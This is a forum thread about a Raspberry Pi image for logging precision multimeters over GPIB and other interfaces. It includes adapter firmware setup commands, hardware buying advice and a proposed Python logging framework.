Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.
Have you tried with a powered USB hub ?
I think it could be power related.

Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.
Does that one deliver more/better power ?

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 28, 2016, 10:07:01 am
Image v2 is ready. Just needs to solve issue with ftp upload.
Image is runnning on RPi2/RPi3.´, based on Raspbian Jessie image with latest kernel 4.4.37.
Extra Kudos for TiN for space on  xDev storage https://xdevs.com/doc/_Images_RPI-DL/
And also lot of inspiration in his Python scripts and idea with D3js.

On image is running samba where you can find all python scripts, log files and website sources.
Just to map network drive with RPi address.
Scripts can be executes over ssh ( user pi, password raspberry) same for samba.
On website you can find few basic pages with D3 plots.

Tested is USB,LAN, USB-RS232, GPIB (NI-GPIB-HS).
Soon will be added support for Agilent 82357B adapter/clone - thanks to VK5RC for donating clone.
Also Prologix is on it way. Support will be added in next release, probably will be used wrapper
https://github.com/hgrecco/pyvisa/issues/112

Some interfaces like USB requires root privileges, so use sudo.
Script for logging mainly set intruments for logging on 10V or 20V range - for LTZ boards logging.
BME280 sensors has it own page for log data.
Script for logging with 3458A also run ACAL every 1°C or 24h and log the DCV gain data.


Here are examples
#   Keyspan USA-19hs serial adapter
pi@raspberrypi:/pub/python $ python Test_RS232_USB.py
KEITHLEY INSTRUMENTS INC.,MODEL 6517B,1234567,A13/700x

pi@raspberrypi:/pub/python $ python Test_LAN.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09

pi@raspberrypi:/pub/python $ sudo python Test_USB.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09

pi@raspberrypi:/pub/python $ sudo python Test_GPIB.py
KEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17  /A02

pi@raspberrypi:/pub/python $ sudo python 3458A_Log.py
Temperature or time difference since last ACAL is higher than set treshold 1.0 C / 86400 s
Since start ACAL performed 0 times
Performing ACAL DCV, it will takes 3 minutes
10V Gain DCV = 0.993364009
Internal Temperature = 32.5
27/11/2016      18:15:07        1 x ACAL        7.16507735      -1.258 ppm      32.5 C
27/11/2016      18:15:15        1 x ACAL        7.16507738      -1.254 ppm      32.5 C
27/11/2016      18:15:23        1 x ACAL        7.16507724      -1.272 ppm      32.5 C
27/11/2016      18:15:31        1 x ACAL        7.16507726      -1.270 ppm      32.5 C
27/11/2016      18:15:39        1 x ACAL        7.16507726      -1.270 ppm      32.5 C

pi@raspberrypi:/pub/python $ python BME_Log.py
27/11/2016      16:47:35        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6
27/11/2016      16:47:45        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6
27/11/2016      16:47:55        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6


pi@raspberrypi:/pub/python $ sudo python 34410A_Log.py
Agilent Technologies,34410A,MY12345678,2.41-2.40-0.09-46-09
27/11/2016      17:06:55        7.16734802      0.6 ppm
27/11/2016      17:06:57        7.16734637      0.4 ppm
27/11/2016      17:06:59        7.16734833      0.7 ppm
27/11/2016      17:07:01        7.16734792      0.6 ppm
27/11/2016      17:07:03        7.16734937      0.8 ppm
27/11/2016      17:07:05        7.16734989      0.9 ppm
27/11/2016      17:07:07        7.16734974      0.9 ppm
27/11/2016      17:07:09        7.16734902      0.8 ppm
27/11/2016      17:07:11        7.16734973      0.9 ppm


pi@raspberrypi:/pub/python $ sudo python K2001_Log.py
KEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17  /A02

27/11/2016      19:26:08        -0.79064850     -1110349.2 ppm
27/11/2016      19:26:09        -0.79909820     -1111528.5 ppm
27/11/2016      19:26:09        -0.80731830     -1112675.7 ppm
27/11/2016      19:26:10        -0.81536700     -1113799.1 ppm
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 28, 2016, 12:48:44 pm
Quote
I don't agree 100%
A common platform would be nice for ie. your DMM noiselogger measurements.
More meant - can do both, DIY stuff for advanceds, but also have easy functions for beginner work :)
E.g. when linux-gpib was a new thing few years ago - fiddling with dozen of packages, kernel headers, firmware uploads enough to scare even brave *nix beginner  :)

Quote
Have you tried with a powered USB hub ?
I think it could be power related.
...
Does that one deliver more/better power ?

Yes, even tried powering +5V to dongle directly to pod from 3A PSU, same thing.
RPI board just forwards same +5V from input. Dongle takes ~400mA peak.

This issue is bit offtopic here, but I brought it up so we make sure images are ok for long term runs.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 28, 2016, 01:06:40 pm
I hope this image will help beginners to start with python and also with D3js for plotting. Histogram for noise measurement is also easy in D3. We just needs time to make scripts from scratch or convert EZGPIB ones.
TiN do you have all GPIB cables connected to instruments?

Image is here https://xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zip

 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on November 28, 2016, 05:17:22 pm
Maybe worth to make two level app? First level for function logic, etc datalogger or noise tester or custom modes such as delta measurement using current source and voltmeter for resistance measurement, similar to Kei 6220+2182.

Second layer would be for hardware support, eg SCPI commands to talk actual instruments.

It will take a bit more work, but will be easier to add support for specific instruments later.

I always have 3458, 2002s connected on GPIB, and add other instruments as needed.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: HighVoltage on November 28, 2016, 09:02:54 pm
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 29, 2016, 04:46:01 am
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.

RPi2 or RPi3. RPi3 is faster and has integrated WiFI/BT. Price is almost the same. Image is working on both, we are not using x64 mode available on RPi3.
Do not forget to buy also enclosure. As SD card is 8GB minimum, I'm using several Samsung SD ( Pro/EVO+)  cards without problems.
RPi official power adapter is OK, but during logging I used output of E3631A PSU ( 5V for RPi, and 15V for LTZ).

I do not have Prologix yet, so it is not working, but will be added soon. Currently is working on NI USB-HS and E5810 GPIB interface.
82357B will be added soon as well.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 29, 2016, 05:47:23 am
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.

@HV

Get the new 3B

Kit
http://www.pollin.de/shop/dt/NzQxNzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_3_Model_B_Starter_Kit.html (http://www.pollin.de/shop/dt/NzQxNzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_3_Model_B_Starter_Kit.html)



Or

http://www.pollin.de/shop/dt/OTQxNzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_3_Model_B.html (http://www.pollin.de/shop/dt/OTQxNzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_3_Model_B.html)

http://www.pollin.de/shop/dt/NzQ2NzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_Gehaeuse_TEKO_TEK_BERRY3_9_schwarz.html (http://www.pollin.de/shop/dt/NzQ2NzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_Gehaeuse_TEKO_TEK_BERRY3_9_schwarz.html)

http://www.pollin.de/shop/dt/NjEyODQ2OTk-/Stromversorgung/Netzgeraete/Steckernetzgeraete/Micro_USB_Stecker_Schaltnetzteil_STONTRONICS_5_V_2_5_A.html (http://www.pollin.de/shop/dt/NjEyODQ2OTk-/Stromversorgung/Netzgeraete/Steckernetzgeraete/Micro_USB_Stecker_Schaltnetzteil_STONTRONICS_5_V_2_5_A.html)



Also get a "Cooler kit"
http://www.pollin.de/shop/dt/MTAxODkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_Kuehlungs_Kit_TEKO_RPI_COOLKIT_9.html (http://www.pollin.de/shop/dt/MTAxODkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_Kuehlungs_Kit_TEKO_RPI_COOLKIT_9.html)



I'm ONLY using Sandisk Extreme cards , have had too many bad experiences with "cheap cards"
Usually i get these,  get a few ie 3 pcs.
https://www.amazon.de/SanDisk-Extreme-microSDHC-Action-Cameras/dp/B013CP5A0Y (https://www.amazon.de/SanDisk-Extreme-microSDHC-Action-Cameras/dp/B013CP5A0Y)


/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: ManateeMafia on November 29, 2016, 06:07:18 am

I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.

I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 29, 2016, 06:10:24 am

I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.

I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

Nice, displaying IP address and some status info is helpful. Any preference for used display ( character, matrix, size??)

What we needs to check is EMI which comes from RPi and power supply. and also EMI related to GPIB adapters. Any volunteer with experience?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: ManateeMafia on November 29, 2016, 06:31:04 am
This 2.2" display is pretty small at 320x240. The smallest text size is 10 point and the largest is 24.

I have the Kuman 3.5" display with case. It looks like it would be a better choice but I haven't assembled it yet to see how durable it is. There doesn't seem to be any protection for the screen like the Uniker.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 29, 2016, 06:32:09 am
@plesa

You'd need these for Agilent USB adapters & clones.

Code: [Select]
sudo apt-get install fxload

#Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

/Bingo

Ps: I don't have any EMI antennas  :-\
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on November 29, 2016, 07:05:32 am
@plesa

You'd need these for Agilent USB adapters & clones.

Code: [Select]
sudo apt-get install fxload

#Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

/Bingo

Ps: I don't have any EMI antennas  :-\

Yep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?
EMI antennas are not required ferite beads and some wire will be enough :)
https://interferencetechnology.com/the-hf-current-probe-theory-and-application/
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: lukier on November 29, 2016, 07:24:02 am
Yep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?

Check CY7C68013A user manual, it describes (AFAIR in the boot section) what to put at the beginning of the I2C EEPROM.

If I remember correctly it was something along these lines:
- mode (0 - shows up as Cypress device, used only for development, 1 - initial VID & PID from EEPROM, then upload the actual firmware - that's the mode used by Agilent, 2 - VID & PID & firmware in the EEPROM)
- VID
- PID

Initial (EEPROM) PID is different from the final one after firmware upload from the host, but I don't remember the numbers off the top of my head. It's somewhere online in the various linux-gpib guides.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on November 29, 2016, 07:28:50 am

From
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067 (https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067)


Code: [Select]
cd ~/linux-gpib
sudo apt-get install fxload

#Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

cd gpib_firmware-2008-08-10/agilent_82357a/

#Find the adapter
lsusb
#It will show something like this : Bus 001 Device 007: ID 0957:0518 Agilent Technologies, Inc.

#load firmware 1'st time
sudo fxload -t fx2 -D /dev/bus/usb/001/007 -I ./measat_releaseX1.8.hex

#Find the adapter (Device will usually increment by 1 , after a fw load)
lsusb
#It will show something like this : Bus 001 Device 008: ID 0957:0518 Agilent Technologies, Inc.

#load firmware 2'nd time
sudo fxload -t fx2 -D /dev/bus/usb/001/008 -I ./measat_releaseX1.8.hex

#Find the adapter
lsusb
#It will show something like this : Bus 001 Device 009: ID ID 0957:0718 Agilent Technologies, Inc. , note the change to ID 0957:0718

The green led's should be lit , and we're ready to go.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 01, 2016, 09:44:44 am
Thanks Bingo600 and Lukier for info, unfortunately this adapter has VID/PID set to zero. So It looks to me that it will require programmer to load correct FW.

Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.
Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.

I only found that some instruments do not like connecting and disconnecting instruments to/from GPIB when running.
After hooking up K2001, the response time of 3458A incresed and power supply E3631A was in remote, but does not respond to commands at all.
After restarting E3631 everything is OK.
Setup was running for 3 weeks.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 01, 2016, 03:59:52 pm
Didn't see such stuff with my K2001's/3458 mixes.
Btw, I also had Agilent pod version of linux setup guide (https://xdevs.com/guide/agilent_gpib_rpi/), using clone I have here.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on December 01, 2016, 08:52:54 pm
Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.
It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.
I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 02, 2016, 05:40:26 am
Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.
It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.
I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.
If you needs DS18B20 sensors support you can inspire here
https://www.modmypi.com/blog/ds18b20-one-wire-digital-temperature-sensor-and-the-raspberry-pi (https://www.modmypi.com/blog/ds18b20-one-wire-digital-temperature-sensor-and-the-raspberry-pi)

BME280 is unique for it's humidity measurement.
Lot of things are sensitive to humidity and not only to temperature. Price of BME280 is almost same like DS18B20, only absolute accuracy is better with DS18B20 ( 1C vs 0.5C).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on December 02, 2016, 07:53:44 am
plesa:

I know you need at least one BME. What I tried to explain is that you don't need a second BME for a second temperature sensor.
You can connect ONE BME and one DS18B20 to the same RASPBERRY.

Anyway BME and DS18B20 have not the same price.
For the BME sensor you need to buy also the miniPCB and it costs 5 to 10 EUR.
As for the DS18B20 I can easily find one at less than 2 EUR locally.
And at least in Italy is more easier to find than the BME that is relatively new component.

Than if you consider to that it has TO92 package you also realise that is more easier to put on the right place and has very low thermal mass.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 02, 2016, 08:30:06 am
Nice project. I have a HM8012 benchtop multimeter with RS232, a RK8511 DC electronic load with RS232 and a Siglent SPD3303D power supply with an USB port, do you plan to support this? Would be cool to control and read it all from Python on a Raspberry Pi for measurements and experiments, like power on/off stress tests. I can help to implement drivers for it.

Looks like the xdevs site is down. Maybe you could create a github repository with a script (and additional programs and config files etc. if needed), which you can just start to turn a fresh Raspian image into this special distribution? Only one wget from a root shell would be required and then starting the script. Bonus: add some Dialog menus (can be implemented in bash) what instrument drivers you want to install and how you want it to configure, just like the raspi-config. Then you don't need to host gigabytes of data, too. Everyone could fork the github repository and send you pull requests for new things they have implemented.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 02, 2016, 08:50:45 am
Hi Frank,

USB and LAN connection is already implemented and tested in image. It has been made by Alex.
USB is working over USB-RS232 converter (Keyspan 19HS).
The major problem with support is that I do not have such gear.
If it became bigger maybe we can consider creating wrapper for instruments, which can make the srips universal. and if we needs some rare instrument from same category only the interface needs to be made.

I already created Github :)
https://github.com/PlesaEEVBlog/RPi_LogNut
And I will put there scripts and webpages for data visualization soon.
Currently I'm migrating to D3js version 4.4.
You can start with fresh Raspbian. The intention was to create easy startup for Voltnuts without Rpi experience which can help all of us to use same platform and share our work.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: carl_lab on December 02, 2016, 09:06:37 am
"Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"

Instrument: several 3458A's

Interface: Agilent 82357B GPIB to USB
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 02, 2016, 09:40:20 am
"Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"

Instrument: several 3458A's

Interface: Agilent 82357B GPIB to USB
So you are exactly the user for this. Image ready to go including plots available on website is ready on xDevs site.
Ok! So what hardware I have to buy?
Raspberry version?
Memory card for sytem and enough space for logging data (4x 3458A voltage and TEMP readout over a month or more).
What else?

Which GPIB adapter you have?
...Agilent 82357B GPIB to USB interface

Also logging of environmental conditions over BME280 is there including visualization.
Is internal TEMP from one or all of the 3458A's sufficient?
Or oven thermistor out from 732A read out over another 6 1/2 digit DMM?
Unfortunatelly I have to remove the whole setup from temperature controlled cal lab to another room without air condition (I think it will be within 22 +/-1 Celisus, anyway).

RPi you should buy is:
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/ (https://www.raspberrypi.org/products/raspberry-pi-2-model-b/)
or
https://www.raspberrypi.org/products/raspberry-pi-3-model-b/ (https://www.raspberrypi.org/products/raspberry-pi-3-model-b/)
RPi3 is faster and has WiFi and Bluetooth.
Do not forget case
https://www.raspberrypi.org/products/raspberry-pi-case/ (https://www.raspberrypi.org/products/raspberry-pi-case/)
as a power supply I'm using E3631, 6V rail for RPi and 15V for LTZ.
SD card - I can recommends Samsung PRO, SamSung EVO+ or others recommended Sandisk extreme.
Minimum is 8GB on this size of microSD card will be still plenty of space left. I expect some logging on NPLC >10 and not digitizing. One week of logging is about 10MB.
Many components are sensitive to pressure and humidity changes not only temperature.
So I propose to log everything.
BME sensors are chep on eBay of if you are in hurry purchase Adafruit or Sparkfun ones ( $20/pcs) on eBay it is about $5/pcs.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on December 03, 2016, 06:31:34 am
@OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 03, 2016, 07:41:47 am
@Bud

AFAIK he did  ;)

Just download the ready built image from TiN's site , write it to a SD card.
Showe it in the RasPi and boot from it.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on December 03, 2016, 11:15:15 am
I am waiting for the Agileng clone adapter implementation, i only have that one.   :popcorn:
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 04, 2016, 01:10:35 am
@OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.
Well, these common software developer practices will attract more developers, which in turn will help to create a better end user solution :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: carl_lab on December 04, 2016, 05:20:57 am
So you are exactly the user for this.
Image ready to go including plots available on website is ready on xDevs site.
...
RPi you should buy is:
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/ (https://www.raspberrypi.org/products/raspberry-pi-2-model-b/)
or
https://www.raspberrypi.org/products/raspberry-pi-3-model-b/ (https://www.raspberrypi.org/products/raspberry-pi-3-model-b/)
RPi3 is faster and has WiFi and Bluetooth.
Do not forget case
https://www.raspberrypi.org/products/raspberry-pi-case/ (https://www.raspberrypi.org/products/raspberry-pi-case/)
Does RPi-2 or -3 make a difference for needed image?
Where can I find the image? I scanned xdevs site several times, but was not able to find it.

Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?
It's quite confusing for me without linux or raspberry experience...

As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.
Is that firmware loaded into adapters RAM or why is it not loaded permanently?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 04, 2016, 05:28:01 am
Does RPi-2 or -3 make a difference for needed image?
Where can I find the image? I scanned xdevs site several times, but was not able to find it.

Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?
It's quite confusing for me without linux or raspberry experience...

As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.
Is that firmware loaded into adapters RAM or why is it not loaded permanently?
Image is here https://xdevs.com/doc/_Images_RPI-DL/
Also the scripts are there. Image works on RPi2 and RPi3, there is no significant difference in perfomance for logging.
RAM is integrated on RPi board already.
Yes 82357B and clones require load firmware when plugged. It will be automated, so in next release you will not found difference to NI GPIB or E5810 usage.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 08, 2016, 08:00:43 am
I've tried to put the image on a 8GB Sandisk Ultra but it has a few sector less than needed (20MB actually):
Not enough space on disk: Size: 15564800 sectors  Available: 15523840 sectors  Sector size: 512

It's just great that a "8GB" card is 7.4 in reality...
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 08, 2016, 10:50:17 am
OK, so I will in next release resize image. and you will needs to resize image back to full size of SD card.
Thanks for info.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 08, 2016, 10:30:19 pm
Reading back what I wrote, I'm sorry if this came through as a complaint, it wasn't aimed at you.
I can only be grateful for the idea and effort put into it. So thank you!
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 10, 2016, 05:55:46 am
I am waiting for the Agileng clone adapter implementation, i only have that one.   :popcorn:
For Agilent 82357B you'd need these additional commands

Code: [Select]
sudo apt-get install fxload
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz
sudo cp gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

sudo cp /etc/gpib.conf /etc/gpib.conf.bak
sudo sed -i 's/ni_usb_b/agilent_82357a/g' /etc/gpib.conf
sudo sed -i 's/violet/agilent/g' /etc/gpib.conf
sudo sed -i '0,/set-bin = no/s//set-bin = yes/' /etc/gpib.conf

sudo modprobe agilent_82357a
sudo gpib_config

If "lsmod |grep agilent" shows these two lines:
pi@pi3:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

Then this command makes loading the module permanent (otherwise the modprobe is needed after every reboot).
Code: [Select]
sudo sed -i -e "\$aagilent_82357a" /etc/modules
I hope I didn't miss anything.

You could also refer to TiN's guide (https://xdevs.com/guide/agilent_gpib_rpi/#fwup).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 10, 2016, 08:39:39 pm
I wrote a sample for my HM8012 and tested it with a 1200 F Maxwell supercap charging with 3 A constant current (http://i.imgur.com/QX3iK06.png), and created a github pull request, so that it can be integrated in the main github repository (and later in the SD card image). With the github repository, we could implement an update function, even over the web interface, to get the latest examples and framework code, without the need to update the whole SD card image and without overwriting your own code.

Maybe would be a good idea to add TiN's guide to the repository as well in a doc directory, so that it is all in one place and under version control, and all scripts and docs needed to create a new image from a fresh Raspbian image.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on December 10, 2016, 10:32:46 pm
RPi2/3 with HP82357B and a 34401A.

1. I followed TiN's excellent article and have the RPi2 working well with the HP82357B and the HP34401A replies with the proper ID text for a *IDN? command. Both direct GPIB calls as well as pyVISA work well.
2. My guess is that since the newer Keysight 6.5 digit models are backwards compatible with the 34401A - it may be a moot point to support all of these models using one script.

NB - if testVISA.py (pyVISA) fails to reply (not finding the interface) try to add the '@py' resource:
replace:
rm = pyvisa.ResourceManager()
with
rm = pyvisa.ResourceManager('@py')
 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 11, 2016, 06:54:31 am
I think a Python measurement framework would be nice. Maybe we can use some parts of the project at http://sigrok.org (http://sigrok.org) that @lwatts666 mentioned?

An idea: a generic base class "Instrument". All instruments in common is the capability to measure something. An instrument has a fixed number of inputs (and maybe outputs?). Concrete instrument classes for a HP34401A, or a HM8012, are derived from the abstract base class and implement all the instrument specific initialization and communication. It might be possible to configure an input, e.g. select volt or ohm, and select a range or auto-range. For each input you can get an input reader, which reads this input and knows about more about the input, like the unit, e.g. V or A, or the instrument channel.Then a logger class. You can add inputs to it and it automatically reads all inputs and writes them with a timestamp to a file, in a selected interval.

Sounds difficult if you are not an object oriented programmer, but it makes it really easy to write your own custom measurement script for an advanced end user. Goal should be that you can write a script for an instrument, without knowing the GPIB commands or other details of the instrument, except some instrument specific configuration for selecting AC or DC etc. A logger program could look like this (I don't know much about Python, so this might not compile) :

Code: [Select]
try {
  # create a new instrument object. Opens the default port for this instrument
  # and initializes it to be used with the framework, e.g. ASCII output format, 9 digits etc.
  voltageMeter = new HP34401A();

  # application specific configuration of an input of the instrument.
  # optional parameter: channel=x, if there are more than one input
  voltageMeter.configure(command=HP34401A.DCV, value=10);

  # creates a new instrument object for a LM75A temperature sensor
  # uses the default I2C address 0x48 for A0-A2=0, if not specified in the constructor
  # the I2C address could be a generic parameter "port", which could be the GPIB address, or an I2C address,
  # and a factory function in the instrument which lists all available ports, to create a GUI for port selection later
  i2cTempSensor = new LM75A();

  # create a new logger object and add all inputs. The getInputtReader-function could have an optional channel parameter
  log = new Logging("/pub/logs/test.csv");
  log.add(voltageMeter.getInputReader());
  log.addInstrument(i2cTempSensor.getInputtReader());

  # start logging
  # this creates the log file, writes the CSV header and saves the current time for the exact measurement interval
  log.start();
  while (true) {
    # measures all configured inputs and writes it to the CSV file, with a leading timestamp
    log.measureInputs();

    # waits for the specified number of seconds, relative to the last call of this function, so that there is an the exact same interval between every measurement
    log.waitSeconds(10);
  }
  log.createWebpage("/pub/html/test.html");
} catch (exception) {
  print(exception);
}

So all you need to write for a volt/temperature combination logger, with website output, are about 10 lines of easy to understand code, which can be mixed with custom tasks, like switching relays after some time etc. The generated CSV file header should name the instrument and unit, and optionally the channel, or I2C address etc.:

(timestamp)(HP34401A, V)(LM75A, C)
10/12/2016-07:53:279.15222.3
10/12/2016-07:53:379.26422.2

The InputReader class has a function "measure", which returns a float for the measured value, and it has a function getUnit. Now the log object can have a function to create a standard webpage to display all configured instruments and inputs, with some nice diagram header and axis labeling. There could be also a getLastMeasure function in the InputReader class, which you can use in the measure loop to get the last value, if you want to compare it to something to do something, in addition to the log output.

One step further: There is a webpage, which lists all available instruments. You can add multiple instruments with a mouse click and individually configure each instrument and the measurement interval. The set of instruments with the configuration can be saved as a project. You can start a measurement and then a log file is named with the project name and a sequential number suffix. You can click on a log file to display, download and delete it.

An instrument can list the possible set of configuration parameters so that you can edit this in the web page when configuring an instrument. There could be some templates for an instrument with a set of configuration parameters, e.g. "measure DC voltage", "measure AC ampere", so that you don't have to lookup the meaning of all parameters. The templates are provided by the concrete instrument class. Each parameter has a description, so that it is self documenting, without needing to read a manual for an instrument.

For the webserver it might be a good idea to use the Python webserver http.server (https://docs.python.org/3/library/http.server.html), because then it is easier to access the Python instrument classes and configuration. The Python webserver could also provide a JSON server interface, so that you can call your Raspberry Pi from other systems and create a set of distributed network connected measurement devices.

Shouldn't be too difficult to implement. An experienced Python developer with webserver and object oriented programming experience might be able to do it in one week full time. Too bad I don't have much time at the moment , but I can help with testing, bugfixing and framework design ideas, if someone wants to do it.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: ManateeMafia on December 11, 2016, 08:14:38 am
@FrankBuss

Those are good suggestions and some of them are implemented in the python scripts used at xDevs . An example is here ... https://xdevs.com/doc/HP_Agilent_Keysight/3458A/test/dcv_ftp_b3.py (https://xdevs.com/doc/HP_Agilent_Keysight/3458A/test/dcv_ftp_b3.py)
It comes in handy when you have two or more of the same meter. It can be difficult to initialize multiple meters without it becoming a long list of the same commands.

The 3458A and Keithley 2001/2 meters have been controlled this way for a while and once the code has been tested, only a couple lines of code are needed to create another instance. The same thing goes for the BME280. Adding more sensors will just require a similar bit of code .

